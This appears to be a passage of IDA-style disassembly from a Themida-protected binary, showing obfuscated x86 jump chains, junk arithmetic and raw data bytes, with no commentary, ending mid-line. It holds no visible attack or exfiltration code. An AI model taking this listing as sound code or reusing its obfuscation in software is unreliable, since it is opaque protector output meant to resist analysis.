--------------------------------------------------------------------------- loc_565A55: ; CODE XREF: Themida_:00569CBEj add al, bl jmp loc_5633A1 ; --------------------------------------------------------------------------- aZbuDhWs db 'Z│Н#Dh%WИс╧',0 dd 0FCE95800h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A6F: ; CODE XREF: Themida_:0056103Ej mov edi, [esp] jmp loc_5637CA ; --------------------------------------------------------------------------- db 50h dd 468h, 0DD0DE900h, 0E956FFFFh, 0FFFFE772h ; --------------------------------------------------------------------------- loc_565A88: ; CODE XREF: Themida_:005718DBj add edx, 29B64EA5h sub edx, 52F33B1Bh jmp loc_56CF52 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 2414895Ch, 0EC8110B2h, 4, 0FF9E98E9h, 2434FFFFh, 27C36858h dd 48E90000h, 81FFFF81h, 4E9h, 240C8700h, 9F81E9h db 0 ; --------------------------------------------------------------------------- loc_565AC9: ; CODE XREF: Themida_:00571730j not edi jmp loc_5669B7 ; --------------------------------------------------------------------------- dd 4F38143h, 29353C96h, 0F6815BDEh, 3AF8EFD2h, 0FFA8D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_565AE5: ; CODE XREF: Themida_:00562BF2j mov edi, [esp] add esp, 4 not edi or edi, 3EFC33FBh inc edi xor edi, 9F20C1E3h mov eax, edi pop edi xor eax, ecx mov ecx, [esp] add esp, 4 and ebx, eax pop eax add ebx, 21442E22h push edi mov edi, 6F2C1A10h sub ebx, edi jmp loc_5722BB ; --------------------------------------------------------------------------- db 8Bh dd 0E2E92424h, 0D1FFFFE2h, 4E068EEh, 0C890000h, 53E18924h dd 0F82C57BBh, 0C3814B3Dh, 0C207D3AEh, 7720E981h, 0D90162CFh dd 7720C181h, 1C8B62CFh, 4C48324h, 4E981h, 39E90000h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B5B: ; CODE XREF: Themida_:00568DB7j sub esp, 4 mov [esp], ecx jmp loc_572628 ; --------------------------------------------------------------------------- dw 8668h dd 8900000Dh, 0BB532424h, 4, 4245C01h, 0FFFCB7E9h, 0DEC80FFh dd 0BD72E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B86: ; CODE XREF: Themida_:00563DBEj mov eax, [esp] add esp, 4 sub edi, 0F226DBEEh sub ebx, edi mov edi, [esp] add esp, 4 sub ebx, 25A56ABBh sub ebx, 782308A3h add ebx, edi add ebx, 782308A3h add ebx, 25A56ABBh jmp loc_55EB65 ; --------------------------------------------------------------------------- dd 1F83BD55h, 0EF096AACh, 81EFD15Dh, 761449EFh, 0BB535679h dd 5A42C89h, 8E97E9h, 2CD36600h, 0AE99C24h, 8AFFFF77h dd 8804245Ch, 0E904244Ch, 0FFFF9D62h ; --------------------------------------------------------------------------- loc_565BF0: ; CODE XREF: Themida_:00562779j add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, 7C9113DFh sub edx, ecx pop ecx add edx, eax push ebx push edi mov edi, 295D2951h sub edi, 0BB3C8Ch inc edi dec edi sub edi, 365751Ah mov ebx, edi pop edi jmp loc_571D80 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0F9h dd 8117E822h, 8F47E2C7h, 0E9DF0124h, 8A9Dh, 5D168905h dd 30EB819Eh, 0E9314C5Ch, 8DADh, 3B660E2Dh, 55E80143h dd 0B10788BDh, 38ED816Bh, 0C10B5059h, 52E903EDh, 0BE000018h dd 2231278Dh, 0EE81D6F7h, 4CED15E1h, 55FFEE83h, 0D70E2DBDh dd 0D0F79524h, 91ED8195h, 0E96DA94Fh, 0B27Ah ; --------------------------------------------------------------------------- loc_565C90: ; CODE XREF: Themida_:0056CE1Aj xor ah, 43h xor ah, 0B1h add bl, ah pop eax jmp loc_56A806 ; --------------------------------------------------------------------------- dw 1C89h aFrsO db '$ЁFRИ[O',0 db 0 ; --------------------------------------------------------------------------- loc_565CA9: ; CODE XREF: Themida_:00570FB1j push 4469h mov [esp], eax push 330E31D8h pop eax dec eax sub eax, 0F3BE2300h mov edi, eax pop eax jmp loc_56F988 ; --------------------------------------------------------------------------- loc_565CC5: ; CODE XREF: Themida_:0056FC92j mov ebp, [esp] jmp loc_5658A7 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 194Bh, 15BDD89h, 0E95DE8h, 53000026h, 42474FFh dd 24048F5Bh, 9EBA525Ch, 4A4B4637h, 0C91EA81h, 0E2C15065h dd 2FC28102h, 816C1743h, 0B1E3FE2h, 7EC2815Eh, 0E9C733F4h dd 3B3Fh ; --------------------------------------------------------------------------- loc_565D14: ; CODE XREF: Themida_:0057218Fj pop eax mov ecx, [esp] add esp, 4 jmp loc_55F5DF ; --------------------------------------------------------------------------- db 5Ch dd 242C8B66h, 8102C483h, 2ECh, 2C896600h, 0EFA4E924h, 2C89FFFFh dd 0F2C56824h, 2C8B4F53h, 0E3895324h, 4C381h, 0C3830000h dd 241C8704h, 0FFE8315Ch, 2C8B2434h, 84C1E924h, 0C381FFFFh dd 4, 8704C383h, 0E95C241Ch, 0FFFF7579h ; --------------------------------------------------------------------------- loc_565D74: ; CODE XREF: Themida_:0056F4A0j pop edi add edi, 3E9A0A32h add edi, edx sub edi, 3E9A0A32h pop edx sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ecx push edi push ebx mov ebx, 34A60310h mov edi, 0D8E4034Ch jmp loc_5614BC ; --------------------------------------------------------------------------- db 68h, 2 dup(0) dd 2C280000h, 242C8A24h, 5204C483h, 0F53028B6h, 8818E95Ah dd 34FFFFFFh, 88E95D24h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_565DC3: ; CODE XREF: Themida_:00567C55j mov ebp, [esp] add esp, 4 sub ebx, eax push ecx push ebx jmp loc_55F48C ; --------------------------------------------------------------------------- loc_565DD2: ; CODE XREF: Themida_:0056C1DBj xchg eax, ebp not eax push eax dec dword ptr [esp] pop eax not eax push edi mov edi, 0C2C70F0Bh sub eax, edi jmp loc_56B6B9 ; --------------------------------------------------------------------------- loc_565DE9: ; CODE XREF: Themida_:0057251Ej or ecx, 752E0613h not ecx shl ecx, 7 or ecx, 2337639Eh xor ecx, 0F5CCC2Dh add eax, ecx pop ecx jmp loc_55E889 ; --------------------------------------------------------------------------- dd 0AF26E959h, 0BD55FFFFh, 50704561h, 0FF7D09E9h, 0CBDB9FFh dd 0F181276Fh, 75D75A64h, 0E987D1F7h, 1C32E9h db 0 ; --------------------------------------------------------------------------- loc_565E2D: ; CODE XREF: Themida_:005655F7j add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebp mov ebp, 29037A35h add ebp, 0D6FC85CFh sub eax, 3B9A50E4h add eax, ebp jmp loc_56ADC9 ; --------------------------------------------------------------------------- dw 0EC80h dd 0E9E3282Fh, 0FFFFD876h, 54B605ADh, 0C00520D4h, 0E9363849h dd 0B8CDh, 0B151D828h, 0D470E9ECh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565E72: ; CODE XREF: Themida_:0056953Ej pop ebx pop ecx mov cl, dh pop edx jmp loc_5662C1 ; --------------------------------------------------------------------------- dd 4244401h, 4244481h, 222D189Fh, 582434FFh, 5B04C483h dd 183EEB81h, 52E909B1h, 0BDFFFF74h, 6AF30018h, 0E95DEE21h dd 0FFFFB988h, 2245488h, 0D0F65A66h, 0FF891BE9h db 0FFh ; --------------------------------------------------------------------------- loc_565EB5: ; CODE XREF: Themida_:0056C2C7j push dword ptr [esp] pop ebp add esp, 4 pop ebp add ebp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_560A7F ; --------------------------------------------------------------------------- loc_565EE1: ; CODE XREF: Themida_:00564CFEj dec ebx push edi mov edi, 0FFFFFFFFh add ebx, 6F681F11h add ebx, edi jmp loc_566CCC ; --------------------------------------------------------------------------- loc_565EF5: ; CODE XREF: Themida_:0056C169j xor esi, ebx pop ebx xchg ecx, esi push ebx jmp loc_55D84C ; --------------------------------------------------------------------------- dd 8BB8505Fh, 5127347h, 0ED8CB879h, 6E2CEB81h, 0C3013892h dd 9500E9h, 0E9EB2900h, 53Bh, 0A4C38166h, 47A5E962h, 14890000h dd 2474FF24h, 0BBDCE904h, 815B0000h, 0F07235C7h, 44EB81FDh dd 1055004h, 44BF57FBh, 1055004h, 3C8B5FFBh, 4C48324h dd 2474FF53h, 241C8B04h, 0FFD9C6E9h, 1E980FFh, 8017B252h dd 0E2C01CE2h, 71CA8008h, 239DE9h, 4C38100h, 33000000h dd 1C31241Ch, 0A76EE924h, 0C4810000h, 4, 63BA5250h, 0E90DD010h dd 0FFFFF664h, 405h, 40500h, 0FF500000h, 58042474h, 5C24048Fh dd 83242C8Bh, 0E95704C4h, 886Ch ; --------------------------------------------------------------------------- loc_565FB8: ; CODE XREF: Themida_:0055E7C0j not dword ptr [esp] pop esi push ecx push 2FB8h mov [esp], ebx mov ebx, 25EC01F7h mov ecx, 6CFD655Ah xor ecx, ebx mov ebx, [esp] add esp, 4 or esi, ecx mov ecx, [esp] push eax mov eax, esp jmp loc_55F104 ; --------------------------------------------------------------------------- aZpqsp@ db 'ZPQИ▐@',0 dw 0AC00h dd 0B2523F04h, 4E2C0E0h, 0EA80C2FEh, 53F280FAh, 525AD028h dd 0C28016B2h, 28A20432h, 0C0B6E9D0h, 0C481FFFFh, 4, 8258E9h dd 0CF46800h, 1C890000h, 6C206824h, 1C8B05E2h, 4C48124h dd 53000000h, 5B2414F7h, 0DEBF5743h, 81FA1D93h, 6A75B4EBh dd 81FB2909h, 6A75B4C3h, 0D9015F09h, 240C875Bh, 6624248Bh dd 2404A30Fh, 728BE99Ch, 34FFFFFFh, 0C5E95E24h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56606B: ; CODE XREF: Themida_:0056894Cj push ebx push 570848F8h pop ebx dec ebx not ebx shl ebx, 5 sub ebx, 17E1762Dh mov edx, ebx pop ebx sub esp, 4 mov [esp], ecx mov ecx, 482308AFh xor edx, ecx pop ecx push esi mov esi, 0AAD3635h neg esi inc esi add esi, 4A741AD2h jmp loc_55E303 ; --------------------------------------------------------------------------- db 54h dd 0BD55535Ah, 5BDA47A6h, 2C8BEB89h, 0D15FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5660B6: ; CODE XREF: Themida_:00560702j pop ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_57063B ; --------------------------------------------------------------------------- db 5 dd 5E5672BEh, 83241C8Bh, 0DC6804C4h, 0E9000002h, 0A6D4h dd 672BBE56h, 0F53104EAh, 3EB5E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5660EE: ; CODE XREF: Themida_:0056DDCAj pop esp not ebp xor ebp, ebx xor ebx, ebp xor ebp, ebx not ebx jmp loc_56064D ; --------------------------------------------------------------------------- loc_5660FE: ; CODE XREF: Themida_:00561705j mov ecx, 27D8740Ch jmp loc_571CA7 ; --------------------------------------------------------------------------- loc_566108: ; CODE XREF: Themida_:0056E002j pop dword ptr [esp] mov esp, [esp] push 6DDAh mov [esp], edi push 4EEEh push 45Ch mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] add esp, 4 jmp loc_55E978 ; --------------------------------------------------------------------------- loc_56613F: ; CODE XREF: Themida_:00560EB2j push esi jmp loc_5616EC ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 8Bh dd 0FFFFFFCFh, 90E92434h, 0C1FFFFB5h, 0C38102EBh, 34D77EEAh dd 5448E9h db 0 ; --------------------------------------------------------------------------- loc_566161: ; CODE XREF: Themida_:0055ECD3j mov [esp], ecx mov ecx, 0 push esi mov esi, 1C4A60F9h shr esi, 3 add esi, 68576107h jmp loc_56306B ; --------------------------------------------------------------------------- db 89h, 0DDh, 5Bh dd 0D5F7E5D1h, 0C581DDF7h, 617A59B9h, 5604EDC1h, 55755BEh dd 0BD554609h, 0EA8162CEh, 0AE33E9h, 0C8B6600h, 9A3EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5661AA: ; CODE XREF: Themida_:0056AE81j mov eax, [esp] jmp loc_571B62 ; --------------------------------------------------------------------------- dw 405h dd 83000000h, 0E0E902C0h, 1000074h, 57095FFAh, 2434FF1Ch dd 0E954565Ah, 0FFFF7289h ; --------------------------------------------------------------------------- loc_5661D0: ; CODE XREF: Themida_:0056A0DDj sub esp, 4 jmp loc_566EA9 ; --------------------------------------------------------------------------- loc_5661D8: ; CODE XREF: Themida_:0056AF3Dj shl edi, 1 dec edi shl edi, 1 and edi, 0A4C388Bh sub edi, 0C1806h add ecx, edi pop edi xchg ecx, [esp] pop esp shr eax, 0Eh xor eax, ecx push 7F1Dh mov [esp], eax xor [esp], ebx xor ebx, [esp] xor [esp], ebx xchg esi, ebx not esi xchg esi, ebx push ebx mov ebx, esp jmp loc_560256 ; --------------------------------------------------------------------------- dd 6804C483h, 3B08h, 0E9240489h, 3B21h ; --------------------------------------------------------------------------- loc_566224: ; CODE XREF: Themida_:0056D399j or cl, 74h neg cl dec cl jmp loc_561CF8 ; --------------------------------------------------------------------------- dd 0FAC6805Ah, 2210E9h db 0 ; --------------------------------------------------------------------------- loc_566239: ; CODE XREF: Themida_:0056C712j mov edx, 24h jmp loc_560963 ; --------------------------------------------------------------------------- loc_566243: ; CODE XREF: Themida_:00560409j sub eax, 4A9527BBh mov ecx, [esp] add esp, 4 add eax, 33C067Fh add eax, ebp sub eax, 33C067Fh push dword ptr [esp] jmp loc_56B99E ; --------------------------------------------------------------------------- dw 34FFh dd 242C8B24h, 4C481h, 0C4810000h, 4, 582434FFh, 0FFFF97E9h dd 0EE0159FFh, 3AEF685Dh, 0C890000h, 438A6824h, 1C890000h dd 0C0E8E924h, 0DAF7FFFFh, 75BAEA81h, 21E93363h, 56000045h dd 0DE48F5BEh, 81D6F766h, 2008CCEEh, 0BCB0E926h, 0EF810000h dd 534901BEh, 9DD3E9h db 0 ; --------------------------------------------------------------------------- loc_5662C1: ; CODE XREF: Themida_:00565E77j push edx push eax mov al, cl mov dh, al pop eax jmp loc_57292D ; --------------------------------------------------------------------------- loc_5662CD: ; CODE XREF: Themida_:00571099j sub eax, 9618C076h sub edx, eax pop eax sub ecx, 30245DD1h add ecx, edx jmp loc_55EE72 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 0E904C483h, 0FFFFB959h, 815F5457h, 4C7h dd 4BE5600h, 29000000h, 3C875EF7h, 2C895C24h, 81C58924h dd 4ECh, 8DDAE900h, 58BE0000h, 211E441Ah, 24348BF3h, 0FF812AE9h dd 0E9028FFFh, 0FFFF6FC1h, 243C875Eh, 240C895Ch, 2B9h dd 12D8E900h, 0E9810000h, 2EC36A97h, 0D012E95Fh, 1C89FFFFh dd 2216824h, 14890000h, 1F69BA24h, 0A4E92867h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56635F: ; CODE XREF: Themida_:00561085j sub esp, 4 mov [esp], edi jmp loc_5692CD ; --------------------------------------------------------------------------- dw 12BEh dd 8144C876h, 0FF507BEEh, 27ECE90Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_56637A: ; CODE XREF: Themida_:0055F386j pop esi pop edi pop edi inc esi push edx mov edx, 5E2B79BDh sub esi, 372562Ch add esi, edx add esi, 372562Ch pop edx jmp loc_5638F5 ; --------------------------------------------------------------------------- dd 0E924148Bh, 184Dh ; --------------------------------------------------------------------------- loc_5663A0: ; CODE XREF: Themida_:0055DD65j pop edx xor edx, 3DC45BEEh add edx, 0DC160155h mov edi, edx pop edx xor esi, edi pop edi xor edx, esi mov esi, [esp] add esp, 4 jmp loc_56440B ; --------------------------------------------------------------------------- dd 0E3C18159h, 5D72D76Fh, 1612BB53h, 0DBF712C0h, 0FFAF19E9h dd 8FCB81FFh, 0E929C501h, 337Fh, 8704E983h, 685C240Ch dd 743Eh, 0E9242489h, 0FFFFE958h, 5668E289h, 89000029h dd 4BB241Ch, 1000000h, 0C2815BDAh, 4, 5C241487h, 31241433h dd 14332414h, 8EA6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56641E: ; CODE XREF: Themida_:00567DE9j sub esp, 4 mov [esp], eax mov eax, 224622Fh add eax, 6FB138B9h or eax, 120D550Fh neg eax xor eax, 8C222015h add edi, eax mov eax, [esp] add esp, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_55FE8E ; --------------------------------------------------------------------------- db 83h dd 24E904C4h, 5D000063h, 1C8BDF89h, 4C48324h, 0E95FFB01h dd 0FFFF71B5h, 4B8h, 0E793E900h, 14F7FFFFh, 0C5815D24h dd 6138532Bh, 485B8405h, 0E9E80112h, 6B60h ; --------------------------------------------------------------------------- loc_56648C: ; CODE XREF: Themida_:00568B80j mov edi, 1Ch jmp loc_56EDAF ; --------------------------------------------------------------------------- dw 0C87h dd 4EE95C24h, 5DFFFF6Eh, 700AF681h, 0C6815F18h, 0F7CBE5FAh dd 815EF701h, 0CA74BEEFh, 6498E966h, 15B0000h, 4875BD8h dd 7E42E924h, 0D3890000h, 0A0F3815Ah, 686E1741h, 2E38h dd 50243C89h, 6A2DBD55h, 0E88931F5h, 0E9C7895Dh, 0FFFFF581h dd 10D3F781h, 0EFC159F6h, 4BC78104h, 1F20A55h, 1C875FFBh dd 48F5C24h, 24248B24h, 0FF835CE9h, 4C483FFh, 31242C33h dd 2C33242Ch, 24248B24h, 8B2434FFh, 0C4812404h, 4, 22E868h dd 24348900h, 8904EC83h, 4812424h, 424h, 49E95E00h, 83000038h dd 0B2E904C4h, 52000046h, 42474FFh, 8324148Bh, 48F04C4h dd 0D3665C24h, 0E99C2404h, 0FFFF6D8Dh, 8B241487h, 14872424h dd 24248B24h, 9C2424D2h, 0FF6D78E9h, 0F3CA81FFh, 811AEA55h dd 4ECh, 24348900h, 100B49BEh, 0A2AE97Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56658E: ; CODE XREF: Themida_:0056B371j add ebp, 4 jmp loc_55E6FF ; --------------------------------------------------------------------------- loc_566599: ; CODE XREF: Themida_:005698C1j shr ecx, 2 jmp loc_55FE52 ; --------------------------------------------------------------------------- db 5Eh, 55h, 0BDh dd 5541796Eh, 0FFA6D9E9h, 241C89FFh, 0EE39FA68h, 0E3C15B72h dd 0DBF74B07h, 2AB0E9h db 0 ; --------------------------------------------------------------------------- loc_5665C1: ; CODE XREF: Themida_:00566D02j mov eax, 34DE0B98h shl eax, 7 and eax, 58E2527Ah xor eax, 7C2175Bh add ebx, eax pop eax push ecx push edx mov edx, 75B55A68h and edx, 7DA85183h add edx, 0FDD9F263h mov ecx, edx pop edx sub ebx, ecx pop ecx jmp loc_563D6E ; --------------------------------------------------------------------------- dd 0BE243489h, 57CC7A92h, 0FFD3BEE9h, 46EA81FFh, 81EDA7FDh dd 817556C3h, 6EEB8103h, 0E954AC63h, 0FFFFF043h ; --------------------------------------------------------------------------- loc_566618: ; CODE XREF: Themida_:00563FAEj add eax, ebp jmp loc_564523 ; --------------------------------------------------------------------------- loc_56661F: ; CODE XREF: Themida_:0056B1EFj pop edx xchg ecx, [esp] pop esp mov [esp], ecx mov ecx, 24h add esi, 741045EFh add esi, ecx push eax mov eax, 741045EFh push eax mov eax, 607B568Ch sub esi, eax pop eax push 5581h mov [esp], ebx jmp loc_55FA8A ; --------------------------------------------------------------------------- dd 0D8006B04h, 62E96B2Ch db 7Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56665B: ; CODE XREF: Themida_:00564400j push dword ptr [esp] mov ebx, [esp] push 7BF5h jmp loc_560481 ; --------------------------------------------------------------------------- db 87h dd 248B2414h, 4B85024h, 81000000h, 42425CEAh, 81C2017Dh dd 42425CC2h, 24048B7Dh, 40F368h, 24348900h, 0C681E689h dd 4, 4C681h, 34870000h, 5EEAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5666A6: ; CODE XREF: Themida_:00563607j xor [esp+4], edx pop edx push dword ptr [esp] jmp loc_563808 ; --------------------------------------------------------------------------- db 52h dd 0F90960BAh, 6EAC16Dh, 8108E2C1h, 0FA52BACAh, 77EA814Fh dd 1F0D43Ch, 0F6815AD6h, 5BDE18A2h, 0B0F68146h, 4E2B515Bh dd 36DE68h, 242C8900h, 0FF9540E9h, 0FFE328FFh db 34h, 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 3E971D2h jmp loc_56DF8B ; --------------------------------------------------------------------------- db 81h dd 697F01C5h, 0C5814D78h, 73635F8Fh, 8164F581h, 792D2759h dd 177B56Fh, 42DFE9E8h, 8B660000h, 89532404h, 0BB5351E3h dd 5AAA3C9Ch, 0FF70D1E9h, 0BA5251FFh, 7E8F31C2h, 315A5952h dd 9DE959CAh, 890000A5h, 30BA2414h, 0F71FC221h, 0E9424ADAh dd 8E1Dh ; --------------------------------------------------------------------------- loc_566758: ; CODE XREF: Themida_:005711FFj add ecx, 75023084h add ecx, ebx sub ecx, 75023084h mov ebx, [esp] push ebx jmp loc_55E2BF ; --------------------------------------------------------------------------- loc_56676F: ; CODE XREF: Themida_:00569AFDj push ebx push esp jmp loc_571BA0 ; --------------------------------------------------------------------------- dw 77FFh dd 6B6FE940h, 0E0C1FFFFh, 260E0D06h, 722554A4h, 0C1341D09h dd 4B2502E0h, 5697054h, 15225916h, 48BC789h, 4C48324h dd 0AFE9FE89h, 8B000062h, 0C4832404h, 58C28904h, 0FFD0895Dh dd 89E92434h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5667BB: ; CODE XREF: Themida_:00560904j add esp, 4 push dword ptr [esp] pop ecx push edx mov edx, esp jmp loc_56EA65 ; --------------------------------------------------------------------------- db 0B6h, 0Eh, 80h dd 0B72CE8EEh, 5366F028h, 784468h, 24148900h, 0F388B7B6h dd 8124148Bh, 4C4h, 51526600h, 0E98057B1h, 9459E9FCh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5667FA: ; CODE XREF: Themida_:005602C5j and ecx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_567DC3 ; --------------------------------------------------------------------------- dd 1AA1E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56680E: ; CODE XREF: Themida_:00564F80j pop edi push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_566F1A ; --------------------------------------------------------------------------- loc_566826: ; CODE XREF: Themida_:00571F50j add ebx, 3CA826DAh jmp loc_56FCD0 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FFE7ADE9h, 81FA29FFh, 0AF1363EAh, 14875F41h, 9CE95C24h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56684B: ; CODE XREF: Themida_:005727C0j pop edx xchg ebp, [esp] pop esp jmp loc_56F465 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF2434FFh, 0E9582434h, 0FFFFCF47h ; --------------------------------------------------------------------------- loc_566864: ; CODE XREF: Themida_:0056C65Bj xor ebx, 462A3686h not ebx xor ebx, 758D3FDFh sub ebx, 0D569AE9Ah push ebx xor dword ptr [esp], 4AD17924h pop edi xor edi, 4AD17924h pop ebx jmp loc_571276 ; --------------------------------------------------------------------------- db 0B1h, 0ACh, 0E9h dd 0FFFFEC7Ah, 28A4C780h, 0A4EF80CFh, 0FFEBE951h, 4768FFFFh dd 89000045h, 4812424h, 424h, 55505E00h, 0BB8CE9h db 0 ; --------------------------------------------------------------------------- loc_5668B9: ; CODE XREF: Themida_:005637D0j push edx mov edx, esp jmp loc_56EC49 ; --------------------------------------------------------------------------- db 28h, 0E3h, 8Bh dd 0C4812404h, 4, 0FFFD7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5668D1: ; CODE XREF: Themida_:0056E15Aj add eax, ecx pop ecx push 2770h jmp loc_55E0E9 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 54241489h, 0E957555Ah, 4A82h, 0C0ADED80h dd 0F58008EDh, 59EB8832h, 50F9F380h, 0FFBFF3E9h db 0FFh ; --------------------------------------------------------------------------- loc_566909: ; CODE XREF: Themida_:0056E674j shr edx, 4 add edx, 574738B5h sub edx, 70E661CFh dec edx jmp loc_55E1E3 ; --------------------------------------------------------------------------- dw 0F181h dd 0F54B72D4h, 0FF82F1E9h db 0FFh ; --------------------------------------------------------------------------- loc_566929: ; CODE XREF: Themida_:00569EBAj pop eax jmp loc_55D534 ; --------------------------------------------------------------------------- loc_56692F: ; CODE XREF: Themida_:005649EBj mov ebx, 64CC233Eh jmp loc_571930 ; --------------------------------------------------------------------------- db 81h, 0EDh, 60h dd 0C1589E0Eh, 0ED8105E5h, 0A9A5A34Ah, 685DE829h, 4C4Bh dd 53243489h, 5E04AA68h, 0E94B5B3Bh, 900Ch ; --------------------------------------------------------------------------- loc_566960: ; CODE XREF: Themida_:00567DD3j mov [esp], edi push ebx jmp loc_5609A8 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 429665Ch, 76E99C24h, 5AFFFF69h, 8119E9h, 283EB500h dd 24048BE5h, 3AD0E952h, 81410000h, 4E2738E1h, 0F2C1816Ch dd 81C07135h, 0B259FBEDh, 53CD0136h, 6F0844BBh, 5EBC15Fh dd 1A84E9h db 0 ; --------------------------------------------------------------------------- loc_5669AD: ; CODE XREF: Themida_:005713EFj push 0FFFFFFFFh jmp loc_5719C7 ; --------------------------------------------------------------------------- loc_5669B7: ; CODE XREF: Themida_:00565ACBj neg edi jmp loc_56F8A6 ; --------------------------------------------------------------------------- aRZjxSD db 'R╨┤jX&И;└',0 dd 0D6BF5700h, 891B78FAh, 0B16BE9FBh, 0E9560000h, 0FFFFE3C0h dd 6055055Fh, 0EC814C6Dh, 4, 0BB241C89h, 41334503h, 5672BE2Dh dd 0E5BA525Eh, 2976F011h, 0D8295AD0h, 0F011E505h, 0F6C1E976h dd 48BFFFFh, 4C48124h, 0FF000000h, 3BE92434h, 0ADFFFFD4h dd 0DA68D831h, 8900003Fh, 0A5BD242Ch, 514A55Eh, 23582384h dd 849EE956h, 3E050000h, 50B9700Fh, 5E125B68h, 24048B00h dd 2904C483h, 533DE9C2h, 0E9800000h, 59C88812h, 0E0C0C8FEh dd 0B2526606h, 66D0285Ah, 52D0F65Ah, 0C28054B2h, 8EAC069h dd 30DEE9h, 0C3EF8100h, 29CC9FF6h, 33595FF8h, 4312404h dd 900DE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566A86: ; CODE XREF: Themida_:0055E988j pop edi jmp loc_56B3B1 ; --------------------------------------------------------------------------- dd 57C8BF0Fh, 0C7815F54h, 4, 4EF81h, 3C870000h, 0C895C24h dd 32C5E924h, 0EE830000h, 2FDDE904h, 8B660000h, 4E682404h dd 89000046h, 0EC812414h, 4, 51242489h, 5030E9h, 6E2C000h dd 0A3DE953h, 83680000h, 8900007Eh, 4812424h, 424h, 4916E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566AEA: ; CODE XREF: Themida_:00570D01j push eax jmp loc_5613D2 ; --------------------------------------------------------------------------- dd 0FDE9E089h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_566AF7: ; CODE XREF: Themida_:0056DF30j pop esi xor ebp, edi push dword ptr [esp] jmp loc_56CF90 ; --------------------------------------------------------------------------- dw 0B951h dd 2C3D4292h, 8102E1C1h, 0DF5A1EC9h, 0B6E9811Bh, 0E97B2264h dd 0FFFF9CA4h, 2434FF54h, 2308E95Bh, 0C2E90000h, 88FFFF67h dd 24048BE3h, 5204C483h, 88D88850h, 0D48858C2h, 2434FF5Ah dd 83241C8Bh, 0C48304C4h, 58E78804h, 9EDBE9h db 0 ; --------------------------------------------------------------------------- loc_566B51: ; CODE XREF: Themida_:0056D47Dj pop ebx add edi, 4 sub esp, 4 mov [esp], edi jmp loc_56EF27 ; --------------------------------------------------------------------------- loc_566B66: ; CODE XREF: Themida_:00568B29j mov ecx, 6E852CC4h mov edi, ecx pop ecx mov eax, edi pop edi xor ebp, eax jmp loc_563DC3 ; --------------------------------------------------------------------------- loc_566B78: ; CODE XREF: Themida_:0056064Fj push ebp inc dword ptr [esp] mov ebp, [esp] push ebx jmp loc_56513F ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0AA1315BFh, 5FF8296Dh, 30AF6856h, 0E95E1101h, 0FFFF76F7h dd 6ABA525Fh, 81141B8Eh, 0D650F2C7h, 23C78104h, 297D9061h dd 23EF81D7h, 817D9061h, 0D650F2EFh, 81575A04h, 6F672434h dd 0E95A508Eh, 684Eh, 835BD931h, 0B7E9FFE9h, 81000045h dd 0E160A4EAh, 81DA0160h, 0E160A4C2h, 241C8B60h, 8304C483h dd 143304C2h, 24143124h, 8B241433h, 49042424h, 0F3E9F800h dd 8BFFFF6Bh, 0C4832404h, 0AFC38104h, 1383E0Ch, 4EE957C3h dd 5D000085h, 0FFE729E9h, 80CB28FFh, 0AFE985EBh, 0BAFFFFBAh dd 4, 59E9D329h, 0FF000044h, 815E2434h, 4ECh, 24348900h dd 0BF57E689h, 4, 0FFBFEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_566C4D: ; CODE XREF: Themida_:0055F10Cj mov edi, 20912A2h xor edi, 4BC83FB8h and edi, 607E1B64h jmp loc_56973D ; --------------------------------------------------------------------------- db 87h dd 248B2434h, 1C896624h, 0AEBB6624h, 0A623E939h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566C76: ; CODE XREF: Themida_:00572716j add edi, 10D16526h pop ebp movzx eax, al jmp loc_55FA42 ; --------------------------------------------------------------------------- db 